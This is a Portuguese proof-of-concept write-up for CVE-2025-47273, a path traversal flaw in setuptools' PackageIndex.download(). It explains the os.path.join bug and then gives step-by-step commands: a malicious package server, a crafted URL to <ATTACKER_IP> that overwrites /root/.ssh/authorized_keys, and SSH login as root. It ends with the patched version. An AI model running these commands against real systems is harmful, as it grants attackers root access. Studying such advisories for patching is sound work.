
CVE-2025-47273 é uma vulnerabilidade de travessia de caminho (path traversal) de alta gravidade na biblioteca setuptools, especificamente na versão 78.1.0.
Este Prova de Conceito (PoC) destina-se apenas a fins educacionais e a auditorias de segurança autorizadas. O autor não assume nenhuma responsabilidade pelo uso indevido destas informações. O acesso não autorizado a sistemas de computador é ilegal e antiético.
CVE-2025-47273 é uma vulnerabilidade de path traversal encontrada no módulo package_index da biblioteca setuptools (v78.1.0 e anteriores). A vulnerabilidade permite que um atacante realize uma escrita arbitrária de arquivos ao fornecer uma URL especialmente elaborada ao método PackageIndex.download().
A falha decorre de uma armadilha comum na função os.path.join() do Python. De acordo com a documentação do Python:
Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente de caminho absoluto.
Na versão vulnerável do setuptools, o nome do arquivo de destino é determinado extraindo um nome da URL e juntando-o a um diretório temporário:
# setuptools/package_index.py
filename = os.path.join(tmpdir, name)
Se um atacante fornecer uma URL em que a parte do nome do arquivo (após a decodificação da URL) comece com uma barra /, o os.path.join descarta o prefixo tmpdir e retorna o caminho absoluto fornecido na URL.
[ Attacker-Controlled URL ]
http://attacker.local/%2fetc%2fpasswd
|
| 1. URL Decoding
v
[ Decoded Filename (name) ]
"/etc/passwd"
|
| 2. Vulnerable Function Call
v
os.path.join("/tmp/download_dir", "/etc/passwd")
|
| 3. Python os.path.join Logic
v
[ Resulting Path (filename) ]
"/etc/passwd" <-- /tmp/download_dir is discarded!
Uma vez que o caminho de destino pode ser manipulado para se tornar um caminho absoluto, um atacante pode escrever conteúdo arbitrário em qualquer local do sistema de arquivos em que o processo tenha permissões de escrita.
setuptools for executado com privilégios elevados (por exemplo, um instalador de todo o sistema), um atacante pode sobrescrever arquivos críticos do sistema como /etc/passwd, /root/.ssh/authorized_keys, ou /etc/shadow e muitas outras possibilidades...~/.bashrc, ~/.ssh/authorized_keys, ou injetar código em bibliotecas Python existentes pode levar à Execução Remota de Código persistente./root/.ssh/authorized_keys )A vulnerabilidade está presente na versão 78.1.0 do setuptools.
pip install setuptools==78.1.0
ssh-keygen -t rsa -b 4096 -f id_rsa -N ""
O script server.py atua como um índice de pacotes malicioso. Ele serve um arquivo de payload independentemente do caminho solicitado, e o arquivo que estamos servindo é id_rsa.pub.
python3 server.py 80
Dispare a escrita do arquivo usando este comando e então você pode acessar via ssh como root com o seu par de chaves ssh pré-criado
sudo python3 -c 'from setuptools.package_index import PackageIndex;PackageIndex().download("http://<ATTACKER_IP>:80/%2froot%2f.ssh%2fauthorized_keys", "/tmp")'
ssh -i id_rsa root@<target-ip>
A vulnerabilidade foi corrigida na versão 78.1.1 do setuptools. A correção envolve sanear estritamente a variável name derivada da URL para garantir que ela não contenha barras iniciais ou letras de unidade antes de ser passada para os.path.join().
Para proteger seu ambiente:
pip install --upgrade setuptools